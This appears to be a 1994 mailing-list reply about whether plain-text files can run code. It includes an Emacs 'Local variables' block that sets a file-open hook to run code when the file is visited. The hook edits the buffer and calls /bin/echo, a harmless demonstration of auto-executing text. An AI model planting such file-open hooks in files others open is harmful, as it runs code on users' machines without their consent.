Re: Virus's -- This is an Emacs bomb
Charles Howes (chowes@helix.net)
Tue, 6 Dec 1994 03:50:58 -0800 (PST)
On Mon, 5 Dec 1994, Bill Broadley wrote:
> I've heard there are text files that are emailable then if run on a pc
> actually do things.
>
> I.e. a Ascii only file thats legally executable, this is probably a distortion
> of a similiar story.
>
> I have studied the x86 op codes to see if you can actually get much done
> with an Ascii file.
>
> But of course no email programs I know of have a method to autoexecute
> a received email.
Here, have some autoexecuting emacs code:
---------------------------------------------------------------------------\
So there you are, reading along in some file that you found.
Just browsing away, when what happens, but some magic bit of
Local variables:
find-file-hooks: ((lambda ()
(unwind-protect
(save-excursion
(goto-char 0)
(re-search-forward "^Local variables:$")
(beginning-of-line)
(let ((p (point)))
(re-search-forward "^End:$")
(let ((m (buffer-modified-p)))
(delete-region p (1+ (point)))
(setq p (point))
(insert "-- hi there, I'm toast. -- ")
(insert (or (buffer-file-name) "nil"))
(call-process-region p (point)
"/bin/echo" t 0 nil
"you" "are" "toast")
(set-buffer-modified-p m)
)))
(kill-local-variable 'find-file-hooks))))
End:
text buried in that buffer comes to life and runs an arbitrary
piece of code at you.
Have a nice day!
---------------------------------------------------------------------------/
Does anyone have autoexecuting vi code? I'd like to see it.
--
Charles Howes -- chowes@helix.net
Always tell the truth, then you make it the other bloke's problem!
- Sean Connery, 1971